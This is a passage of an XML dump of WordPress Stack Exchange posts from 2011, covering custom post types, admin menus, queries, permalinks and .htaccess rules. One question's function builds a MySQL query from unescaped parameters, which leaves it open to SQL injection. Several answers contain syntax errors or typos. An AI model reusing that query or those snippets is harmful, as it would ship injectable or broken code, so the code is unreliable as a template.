pagination" Tags="&lt;categories&gt;&lt;pagination&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="8483" PostTypeId="1" AcceptedAnswerId="8487" CreationDate="2011-02-03T22:09:56.190" Score="3" ViewCount="319" Body="&lt;p&gt;I'm writing a plugin for work because our main website is being ported to WordPress eventually. I've got multiple custom post types planned for this plugin and would like to group them all into one main menu. The screenshot provides a better insight what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/NDfRK.png&quot; alt=&quot;menus&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, &lt;strong&gt;I want the &quot;Visitors&quot; link to be placed under &quot;Argus Admin&quot;.&lt;/strong&gt; The other links aren't necessary to be added as I can &quot;hack&quot; those wherever I want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $v_args = array(&#xA;        'labels' =&amp;gt; array (&#xA;                'name' =&amp;gt; 'Visitors',&#xA;                'singular_name' =&amp;gt; 'Visitor',&#xA;                'add_new_item' =&amp;gt; 'Register New Visitor', // TODO: http://codex.wordpress.org/Function_Reference/register_post_type#Arguments&#xA;            ),&#xA;        'public' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; false,&#xA;        'exclude_from_search' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'show_in_menu' =&amp;gt; 'argus',  // TODO: This doesn't work...&#xA;        'hiearchical' =&amp;gt; false,&#xA;        'supports' =&amp;gt; array( '' ),&#xA;        'register_meta_box_cb' =&amp;gt; array ( &amp;amp;$this, '_wp_visitor_meta_box_cb' ),&#xA;    );&#xA;&#xA;    register_post_type( $post_type, $v_args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This my menu page that I created:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_menu_page( 'Argus', 'Argus Admin', 'manage_options', 'argus', array( &amp;amp;$this, '_wp_argus_main_panel' ), '', -1 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;br /&gt;&#xA;-Zack&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-03-12T18:05:06.187" Title="Custom Post Type Menus" Tags="&lt;custom-post-types&gt;&lt;custom-menus&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" />
  <row Id="8484" PostTypeId="2" ParentId="8480" CreationDate="2011-02-03T22:21:38.077" Score="2" ViewCount="" Body="&lt;p&gt;Role Approved Comment plugin&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/role-approved-comment/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/role-approved-comment/&lt;/a&gt;&#xA;This plugin will allow any specified role to have their comments automatically approved.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-03T22:21:38.077" CommentCount="4" />
  <row Id="8485" PostTypeId="2" ParentId="8478" CreationDate="2011-02-03T22:30:12.543" Score="3" ViewCount="" Body="&lt;p&gt;change your query a bit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$todays_date = time();&#xA;&#xA;$args = array ('post_type'      =&amp;gt; 'tasks',&#xA;               'meta_key'       =&amp;gt; ''end_date,&#xA;               'meta_compare'   =&amp;gt; '&amp;lt;',&#xA;               'meta_value'     =&amp;gt; $todays_date,&#xA;               'orderby'        =&amp;gt; 'meta_value'&#xA;              );&#xA;&#xA;$tasks = get_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then for each one of this posts get the start_date meta and compare with $today something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$today = strtotime($today);&#xA;foreach ($tasks as $task_post){&#xA;  $start = strtotime(get_post_meta($task_post-&amp;gt;ID, start_date, true));&#xA;  if ($today &amp;gt; $start){&#xA;    //to task stuff here&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-04T20:00:40.833" LastActivityDate="2011-02-04T20:00:40.833" CommentCount="3" />
  <row Id="8486" PostTypeId="2" ParentId="8483" CreationDate="2011-02-03T22:30:21.560" Score="1" ViewCount="" Body="&lt;p&gt;If this is going to be ported to WordPress eventually (as in, not for another few weeks), I'd suggest waiting for WordPress 3.1 to come out. It's due very soon, and it already does this. Of course, you could skip the waiting and just develop on trunk. The way you're doing it there will should work in 3.1 without any changes.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-02-03T22:30:21.560" CommentCount="1" />
  <row Id="8487" PostTypeId="2" ParentId="8483" CreationDate="2011-02-03T22:54:37.613" Score="3" ViewCount="" Body="&lt;p&gt;You got it right but you need to wait for WordPress 3.1 where its actually implemented. if you can't wait you can change 'show_in_menu' to false and use add_submenu_page() function define 'argus' as top page and add the Visitors &quot;manually&quot; under Argus Admin menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so your code would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$v_args = array(&#xA;        'labels' =&amp;gt; array (&#xA;                'name' =&amp;gt; 'Visitors',&#xA;                'singular_name' =&amp;gt; 'Visitor',&#xA;                'add_new_item' =&amp;gt; 'Register New Visitor',&#xA;            ),&#xA;        'public' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; false,&#xA;        'exclude_from_search' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'show_in_menu' =&amp;gt; 'flase',&#xA;        'hiearchical' =&amp;gt; false,&#xA;        'supports' =&amp;gt; array( '' ),&#xA;        'register_meta_box_cb' =&amp;gt; array ( &amp;amp;$this, '_wp_visitor_meta_box_cb' ),&#xA;    );&#xA;&#xA;    register_post_type( $post_type, $v_args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_menu_page( 'Argus', 'Argus Admin', 'manage_options', 'argus', array( &amp;amp;$this, '_wp_argus_main_panel' ), '', -1 );&#xA;add_submenu_page( argus, 'Visitors', 'Visitors', 'manage_options' , 'visitors' , 'edit.php?post_type=visitors'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this Helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-03T22:54:37.613" CommentCount="2" />
  <row Id="8488" PostTypeId="2" ParentId="7738" CreationDate="2011-02-03T22:58:59.810" Score="1" ViewCount="" Body="&lt;p&gt;Trying using the Object Cache plugin discussed at: &lt;a href=&quot;http://www.readwriteweb.com/hack/2010/09/how-to-speed-up-the-wordpress.php&quot; rel=&quot;nofollow&quot;&gt;http://www.readwriteweb.com/hack/2010/09/how-to-speed-up-the-wordpress.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another tip would be to install php-apc; see: &lt;a href=&quot;http://www.readwriteweb.com/hack/2010/09/hack-of-the-day-speeding-up-wordpress-on-a-vps.php&quot; rel=&quot;nofollow&quot;&gt;http://www.readwriteweb.com/hack/2010/09/hack-of-the-day-speeding-up-wordpress-on-a-vps.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-02-03T22:58:59.810" />
  <row Id="8489" PostTypeId="1" CreationDate="2011-02-03T23:01:57.107" Score="0" ViewCount="151" Body="&lt;p&gt;I have a loop to show my custom post type of 'case_studies'. It originally showed all posts until I wanted to just show 3 specific posts. The problem is that it only shows the first post in my list of 'p=54,49,44'. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$case_studies = new WP_Query();&#xA;                $count = 0; &#xA;                $case_studies-&amp;gt;query('post_type=case_studies&amp;amp;p=54,49,44');  &#xA;                while($case_studies-&amp;gt;have_posts()) : $case_studies-&amp;gt;the_post(); $count++;&#xA;                    $custom = get_post_custom($post-&amp;gt;ID);&#xA;                    $case_studies_image_url = $custom['second_image'][0];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1136" LastActivityDate="2011-02-03T23:29:29.443" Title="Query of custom post types only shows first post" Tags="&lt;custom-post-types&gt;&lt;query&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="8490" PostTypeId="1" AcceptedAnswerId="8496" CreationDate="2011-02-03T23:16:25.683" Score="0" ViewCount="80" Body="&lt;p&gt;I have my own custom post type under:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wordpress/custom&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I open any item of this post type they open in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wordpress/archives/custom/title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why there's 'archives' and how to get rid of this from my urls?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The taxonomy is registered like below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy(&quot;our_frontpage_types&quot;, array(&quot;frontpage&quot;), array(&quot;hierarchical&quot; =&amp;gt; true, &quot;label&quot; =&amp;gt; &quot;Categories&quot;, &quot;singular_label&quot; =&amp;gt; &quot;Category&quot;, &quot;rewrite&quot; =&amp;gt; true));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the post is registered like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'fp_register');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;UPDATE *&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Ok, now I know it was a problem with permalinks, BUT /%category%/%postname% is far from perfection. Is there something like %section%/%postname%?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="1869" LastEditorDisplayName="" LastEditDate="2011-02-05T02:14:53.910" LastActivityDate="2011-02-05T02:14:53.910" Title="Custom post type items open in archives?" Tags="&lt;custom-post-types&gt;&lt;urls&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="8491" PostTypeId="2" ParentId="4972" CreationDate="2011-02-03T23:19:32.163" Score="1" ViewCount="" Body="&lt;p&gt;It's working fine in my blog sidebar although I needed to carefully size the form correctly at aweber and add a background colour to the widget to make it display well. It's not the easiest but it works.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-03T23:19:32.163" />
  <row Id="8492" PostTypeId="2" ParentId="8489" CreationDate="2011-02-03T23:23:06.080" Score="2" ViewCount="" Body="&lt;p&gt;I think you need to change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$case_studies-&amp;gt;query('post_type=case_studies&amp;amp;p=54,49,44');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$case_studies-&amp;gt;query_posts( array( 'post__in' =&amp;gt; array( 54, 49, 44 ) ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd look at this page for LOTS more examples. &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/query_posts&lt;/a&gt;. when your there search for &quot;Multiple Posts/Pages Handling&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps, I'm still new to wordpress. &lt;/p&gt;&#xA;" OwnerUserId="2774" LastEditorUserId="2774" LastEditorDisplayName="" LastEditDate="2011-02-03T23:29:29.443" LastActivityDate="2011-02-03T23:29:29.443" CommentCount="7" />
  <row Id="8493" PostTypeId="2" ParentId="7870" CreationDate="2011-02-03T23:26:02.340" Score="0" ViewCount="" Body="&lt;p&gt;You could use the Wordpress Portfolio Plugin by Dan Harrison. It links to shrink the web and displays a screenshot of the website. So far as I know it works in mu. Otherwise why not just do it manually with a html/img link?&lt;/p&gt;&#xA;" LastActivityDate="2011-02-03T23:26:02.340" CommentCount="1" />
  <row Id="8494" PostTypeId="2" ParentId="8481" CreationDate="2011-02-03T23:28:24.937" Score="1" ViewCount="" Body="&lt;p&gt;the main problem is that $actions accepts the whole anchor tag for the link and  get_delete_post_link function outputs just the url.&#xA;So if You are just looking to replace the label &quot;Trash&quot; then you can use the post_row_actions filter hook with a simple function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_filter('post_row_actions','my_action_row')&#xA;&#xA;    function my_action_row(){&#xA;       if ($post-&amp;gt;post_type ==&quot;visitor&quot;){&#xA;          //remove what you don't need&#xA;           unset( $actions['inline hide-if-no-js'] );&#xA;           unset( $actions['trash'] );&#xA;           unset( $actions['view'] );&#xA;           //check capabilites&#xA;           $post_type_object = get_post_type_object( $post-&amp;gt;post_type );&#xA;           if ( !$post_type_object ) return;&#xA;           if ( !current_user_can( $post_type_object-&amp;gt;cap-&amp;gt;delete_post, $post-&amp;gt;ID ) ) return;&#xA;&#xA;          //the get the meta and check&#xA;           $state = get_post_meta( $post-&amp;gt;ID, 'v_state', true );&#xA;           if ($state == 'in'){&#xA;             $actions['trash'] = &amp;lt;a class='submitdelete' title='&quot; . esc_attr(__('Delete this item permanently')) . &quot;' href='&quot; . get_delete_post_link($post-&amp;gt;ID, '', true) . &quot;'&amp;gt;&quot; . __('Logout') . &quot;&amp;lt;/a&amp;gt;&quot;;&#xA;           }else{&#xA;             $actions['trash'] = &amp;lt;a class='submitdelete' title='&quot; . esc_attr(__('Delete this item permanently')) . &quot;' href='&quot; . get_delete_post_link($post-&amp;gt;ID, '', true) . &quot;'&amp;gt;&quot; . __('Login') . &quot;&amp;lt;/a&amp;gt;&quot;;&#xA;&#xA;&#xA;           }&#xA;       }&#xA;  return $actions;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will generate a logout if the meta is &quot;IN&quot; and login if other wise but both links will delete the post. and i would add a check to see if the post is already in the trash.&#xA;But its a start and i hope it helps. &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-03T23:28:24.937" CommentCount="3" />
  <row Id="8495" PostTypeId="2" ParentId="6898" CreationDate="2011-02-03T23:30:20.600" Score="0" ViewCount="" Body="&lt;p&gt;Not sure if this is better but it might be worth a look &lt;a href=&quot;http://wordpress.org/extend/plugins/polldaddy/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/polldaddy/&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-02-03T23:30:20.600" CommentCount="2" />
  <row Id="8496" PostTypeId="2" ParentId="8490" CreationDate="2011-02-03T23:37:44.517" Score="1" ViewCount="" Body="&lt;p&gt;WordPress will add archives base in the url if it thinks that the page an archive and when i had the problem it was because i named the custom post type and my custom taxonomy the same, is that the case?&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-03T23:37:44.517" CommentCount="5" />
  <row Id="8497" PostTypeId="2" ParentId="8442" CreationDate="2011-02-03T23:42:28.143" Score="1" ViewCount="" Body="&lt;p&gt;Ok, I've found a way, using the admin_menu action. I post here, in case someone needs it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code remove for a specific user all the submenus items except the one for the custom menus in the &lt;em&gt;Appereance&lt;/em&gt; menu.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu', 'enable_only_custom_menu');&#xA;&#xA;function enable_only_custom_menu() {&#xA;    global $menu,$submenu;&#xA;    global $current_user;&#xA;    get_currentuserinfo();&#xA;&#xA;    if ($current_user-&amp;gt;user_login == 'username') {&#xA;        foreach($submenu['themes.php'] as $key=&amp;gt;$smenu) {&#xA;            if ($smenu[2] != 'nav-menus.php') {&#xA;                unset($submenu['themes.php'][$key]);&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You must iterate the submenu for the key 'themes.php' and deleting all the items that are not interisting for you.&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-02-03T23:42:28.143" CommentCount="2" />
  <row Id="8498" PostTypeId="2" ParentId="8066" CreationDate="2011-02-03T23:46:46.173" Score="0" ViewCount="" Body="&lt;p&gt;This my favourite events manager plugin &#xA;&lt;a href=&quot;http://gigpress.com/&quot; rel=&quot;nofollow&quot;&gt;http://gigpress.com/&lt;/a&gt;&#xA;not sure if and how it handles registration however&lt;/p&gt;&#xA;" LastActivityDate="2011-02-03T23:46:46.173" />
  <row Id="8499" PostTypeId="2" ParentId="8471" CreationDate="2011-02-04T00:34:17.920" Score="1" ViewCount="" Body="&lt;p&gt;WP Release dates are never hard dates, but it really should be any day now.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until then I'd strongly recommend using 3.1 Trunk (RC3) via subversion.  If your not a subversion user, than take the easy route and install the WordPress Beta Tester plug-in for auto-update easy access to it:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-beta-tester/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-beta-tester/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do note, there was a 3.1 Branch spun off for WordCamp Pheonix, but it's now essentially identical so you can safely ignore it:&#xA;&lt;a href=&quot;http://wpdevel.wordpress.com/2011/01/30/we-spun-wordpress-3-1-off-into-a-branch/&quot; rel=&quot;nofollow&quot;&gt;http://wpdevel.wordpress.com/2011/01/30/we-spun-wordpress-3-1-off-into-a-branch/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2932" LastActivityDate="2011-02-04T00:34:17.920" />
  <row Id="8500" PostTypeId="2" ParentId="1736" CreationDate="2011-02-04T00:59:25.570" Score="1" ViewCount="" Body="&lt;p&gt;The sollution implys that you have disabled the editing of &quot;normal&quot; post types (post, page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's &lt;em&gt;not&lt;/em&gt; as hard as you might believe. The &lt;em&gt;key&lt;/em&gt; is the &lt;em&gt;user login name&lt;/em&gt;. The same could be done with taxonomies or even terms. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the following (there's an example for a query too):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// 1st: Add a post type for that user with it's &#xA;//   user login &amp;amp; according capabilities &#xA;function create_user_home() {&#xA;    global $current_user;&#xA;    get_currentuserinfo();&#xA;&#xA;    register_post_type(&#xA;        'home_of_'.$current_user-&amp;gt;user_login,&#xA;        array(&#xA;            'public' =&amp;gt; true,&#xA;            'capability_type' =&amp;gt; $current_user-&amp;gt;user_login,&#xA;            'capabilities' =&amp;gt; array(&#xA;                'publish_posts' =&amp;gt; 'publish_'.$current_user-&amp;gt;user_login,&#xA;                'edit_posts' =&amp;gt; 'edit_'.$current_user-&amp;gt;user_login,&#xA;                'edit_others_posts' =&amp;gt; 'edit_'.$current_user-&amp;gt;user_login,&#xA;                'delete_posts' =&amp;gt; 'delete_'.$current_user-&amp;gt;user_login,&#xA;                'delete_others_posts' =&amp;gt; 'delete_others_'.$current_user-&amp;gt;user_login,&#xA;                'read_private_posts' =&amp;gt; 'read_private_'.$current_user-&amp;gt;user_login,&#xA;                'edit_post' =&amp;gt; 'edit_'.$current_user-&amp;gt;user_login,&#xA;                'delete_post' =&amp;gt; 'delete_'.$current_user-&amp;gt;user_login,&#xA;                'read_post' =&amp;gt; 'read_'.$current_user-&amp;gt;user_login,&#xA;            ),&#xA;        )&#xA;    );&#xA;}&#xA;add_action( 'init', 'create_user_home' );&#xA;&#xA;// A query could be done like this:&#xA;wp_reset_query(); // to be sure&#xA;&#xA;global $wp_query, $current_user;&#xA;get_currentuserinfo();&#xA;&#xA;$query_user_home = new WP_Query( array(&#xA;    ,'order'        =&amp;gt; 'ASC'&#xA;    ,'post_type'    =&amp;gt; 'home_of_'.$current_user-&amp;gt;user_login&#xA;    ,'post_status'  =&amp;gt; 'publish'&#xA;) );&#xA;&#xA;if ( $query_user_home-&amp;gt;have_posts() ) :&#xA;    while ( $query_user_home-&amp;gt;have_posts() ) : $query_user_home-&amp;gt;the_post();&#xA;        // check for password&#xA;        if ( post_password_required() ) :&#xA;            the_content();&#xA;        elseif ( !current_user_can('') ) :&#xA;            // display some decent message here&#xA;            return;&#xA;        else :&#xA;&#xA;            // here goes your content&#xA;&#xA;        endif;&#xA;    endwhile;&#xA;&#xA;else : // else; no posts&#xA;    printf(__( 'Nothing from Mr./Mrs. %1$s so far.', TEXTDOMAIN ), $current_user-&amp;gt;user_firstname.' '.$current_user-&amp;gt;user_lastname);&#xA;endif; // endif; have_posts();&#xA;&#xA;wp_rewind_posts(); // for a sec. query&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With taxonomies this would even make more sense, because you could query only the posts that are tagged with terms from this users taxonomies, but that would need a post meta box with the users taxonomy terms. The condition would be the same: user login name and you'd just add the taxonomy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function create_user_tax() {&#xA;    if ( current_user_can(&quot;$current_user-&amp;gt;user_login&quot;) ) :&#xA;        global $current_user;&#xA;        get_currentuserinfo();&#xA;&#xA;        $singular = $current_user-&amp;gt;user_login;&#xA;        $plural = $singular.'\'s';&#xA;&#xA;        // labels&#xA;        $labels = array (&#xA;                 'name'         =&amp;gt; $plural&#xA;                ,'singular_name'=&amp;gt; $singular&#xA;            );&#xA;&#xA;        // args&#xA;        $args = array (&#xA;             'public'               =&amp;gt; true&#xA;            ,'show_in_nav_menus'    =&amp;gt; true&#xA;            ,'show_ui'              =&amp;gt; true&#xA;            ,'query_var'            =&amp;gt; true&#xA;            ,'labels'               =&amp;gt; $labels&#xA;            ,'capabilities' =&amp;gt; array(&#xA;                'manage_'.$current_user-&amp;gt;user_login&#xA;            )&#xA;        );&#xA;&#xA;        // Register&#xA;        register_taxonomy ( &#xA;             $current_user-&amp;gt;user_login&#xA;            ,array ( 'post', 'page' )&#xA;            ,$args&#xA;        ); &#xA;        // Add to post type&#xA;        // you can even add your current user post type here&#xA;        register_taxonomy_for_object_type (&#xA;             $current_user-&amp;gt;user_login&#xA;             ,array ( 'post', 'page', 'home_of_'.$current_user-&amp;gt;user_login ) &#xA;        );&#xA;    endif;&#xA;}&#xA;add_action( 'init', 'create_user_tax' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The placement of capability check (current_user_can) could be somewhere other too. Depends all on your specific needs.&#xA;Just to make this sure: These are examples to guide you on your way to a sollution. Hope that &lt;em&gt;helps&lt;/em&gt; :)&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-02-04T05:00:08.817" LastActivityDate="2011-02-04T05:00:08.817" />
  <row Id="8501" PostTypeId="1" AcceptedAnswerId="8502" CreationDate="2011-02-04T03:04:39.007" Score="0" ViewCount="66" Body="&lt;p&gt;I've created a WordPress 3.0 site w/ MultiSite enabled and the BuddyPress plugin installed (latest available versions of each).  Initially, the site did not have a captcha enabled and now there are hundreds of spam accounts created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, the Super Admin panel for Users only shows 15 users at a time.  I need to delete several hundred users and going through this page by page is monotonous.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there plugin available which would assist with bulk user deletion?  I'd like to be able to select and delete a few hundred users at a time (or even better do a regex search by username).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2011-02-04T04:06:13.393" Title="Bulk User Deletion" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;buddypress&gt;" AnswerCount="1" />
  <row Id="8502" PostTypeId="2" ParentId="8501" CreationDate="2011-02-04T04:06:13.393" Score="1" ViewCount="" Body="&lt;p&gt;Super Admin &gt; Users. Screen Options (top right) &gt; Show on screen __ users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be careful, listing hundreds of users could kill your server. Heh!&lt;/p&gt;&#xA;" OwnerUserId="1241" LastActivityDate="2011-02-04T04:06:13.393" CommentCount="1" />
  <row Id="8503" PostTypeId="1" AcceptedAnswerId="8535" CreationDate="2011-02-04T04:54:59.190" Score="3" ViewCount="490" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's note:&lt;/strong&gt; Title was originally: &quot;query/database optimisation&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm written a function for a custom &quot;filter&quot; search panel that allows users to select terms from up to four custom taxonomies. I'm running the queries directly against the database and the query is averaging half a second to execute (with terms for all four taxonomies and one result returned). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems pretty slow to me. I was wondering if there's anything I can do to either optimise the query or even the database to make this more efficient/faster. Perhaps writing a view, even? I have experience with MS-SQL but not much with MySQL and I'm not sure how things are different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my function code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function filter_resources($phase,$wa,$aus,$topics){&#xA;    global $wpdb;&#xA;    $querystr=&quot;&#xA;    SELECT * &#xA;        FROM $wpdb-&amp;gt;posts A&#xA;            LEFT JOIN $wpdb-&amp;gt;term_relationships B ON(A.ID = B.object_id)&#xA;            LEFT JOIN $wpdb-&amp;gt;term_taxonomy C ON(B.term_taxonomy_id = C.term_taxonomy_id)&#xA;            LEFT JOIN $wpdb-&amp;gt;terms D ON(C.term_id = D.term_id)&#xA;&#xA;        LEFT JOIN $wpdb-&amp;gt;term_relationships BB ON(A.ID = BB.object_id)&#xA;            LEFT JOIN $wpdb-&amp;gt;term_taxonomy CC ON(BB.term_taxonomy_id = CC.term_taxonomy_id)&#xA;            LEFT JOIN $wpdb-&amp;gt;terms DD ON(CC.term_id = DD.term_id)&#xA;&#xA;        LEFT JOIN $wpdb-&amp;gt;term_relationships BBB ON(A.ID = BBB.object_id)&#xA;            LEFT JOIN $wpdb-&amp;gt;term_taxonomy CCC ON(BBB.term_taxonomy_id = CCC.term_taxonomy_id)&#xA;            LEFT JOIN $wpdb-&amp;gt;terms DDD ON(CCC.term_id = DDD.term_id)&#xA;&#xA;        LEFT JOIN $wpdb-&amp;gt;term_relationships BBBB ON(A.ID = BBBB.object_id)&#xA;            LEFT JOIN $wpdb-&amp;gt;term_taxonomy CCCC ON(BBBB.term_taxonomy_id = CCCC.term_taxonomy_id)&#xA;            LEFT JOIN $wpdb-&amp;gt;terms DDDD ON(CCCC.term_id = DDDD.term_id)&#xA;&#xA;        WHERE A.post_type = 'resources' &#xA;            AND A.post_status = 'publish'&#xA;            AND C.taxonomy = 'phase-of-learning'&#xA;            AND D.term_id = '$phase'&#xA;            AND CC.taxonomy = 'wa-curriculum'&#xA;            AND DD.term_id = '$wa'&#xA;            AND CCC.taxonomy = 'australian-curriculum'&#xA;            AND DDD.term_id = '$aus'&#xA;            AND CCCC.taxonomy = 'topics'&#xA;            AND DDDD.term_id = '$topics'&#xA;        ORDER BY A.post_date DESC&quot;;&#xA;    return $wpdb-&amp;gt;get_results($querystr,OBJECT);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1890" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-05T16:21:14.953" LastActivityDate="2011-02-05T16:21:14.953" Title="Optimize Multiple Taxonomy Term MySQL Query?" Tags="&lt;mysql&gt;&lt;query&gt;&lt;optimization&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="3" />
  <row Id="8504" PostTypeId="2" ParentId="8349" CreationDate="2011-02-04T05:36:21.003" Score="1" ViewCount="" Body="&lt;p&gt;It could be that APACHE AllowOveride is not correctly set.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://httpd.apache.org/docs/2.0/mod/core.html#allowoverride&quot; rel=&quot;nofollow&quot;&gt;http://httpd.apache.org/docs/2.0/mod/core.html#allowoverride&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Does your .htaccess look anything like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2935" LastEditorUserId="2935" LastEditorDisplayName="" LastEditDate="2011-02-04T06:30:23.400" LastActivityDate="2011-02-04T06:30:23.400" CommentCount="8" />
